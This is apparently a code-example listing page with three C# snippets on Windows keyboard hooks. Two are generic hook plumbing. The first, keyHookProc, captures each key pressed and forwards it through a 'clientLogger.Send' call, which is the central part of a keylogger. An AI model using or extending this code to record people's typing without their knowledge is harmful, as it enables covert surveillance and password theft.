Ejemplo n.º 1
0
 private void keyHookProc(object sender, KeyboardHookedEventArgs e)
 {
     if (isLoggerStarted)
     {
         try
         {
             string keyData = e.KeyCode.ToString();
             if (tmpKeyInput != keyData)
             {
                 if (keyData.Length == 1)
                 {
                     clientLogger.Send(keyData);
                 }
                 else if (keyData.Length == 2)
                 {
                     clientLogger.Send("[" + keyData + "]");
                 }
                 else
                 {
                     clientLogger.Send("[" + keyData + "]\r\n");
                 }
             }
             tmpKeyInput = keyData;
         }
         catch (Exception ex)
         {
             isLoggerStarted = false;
         }
     }
 }
Ejemplo n.º 2
0
        ///<summary>
        ///KeyboardHookedイベントを発生させる。
        ///</summary>
        ///<param name="e">イベントのデータ。</param>
        protected virtual void OnKeyboardHooked(KeyboardHookedEventArgs e)
        {
            KeyboardHookedEventHandler handler = base.Events[EventKeyboardHooked] as KeyboardHookedEventHandler;

            if (handler != null)
            {
                handler(this, e);
            }
        }
Ejemplo n.º 3
0
 private int CallNextHook(int code, KeyboardMessage message, ref KeyboardState state)
 {
     if (code >= 0)
     {
         KeyboardHookedEventArgs e = new KeyboardHookedEventArgs(message, ref state);
         OnKeyboardHooked(e);
         if (e.Cancel)
         {
             return(-1);
         }
     }
     return(CallNextHookEx(IntPtr.Zero, code, message, ref state));
 }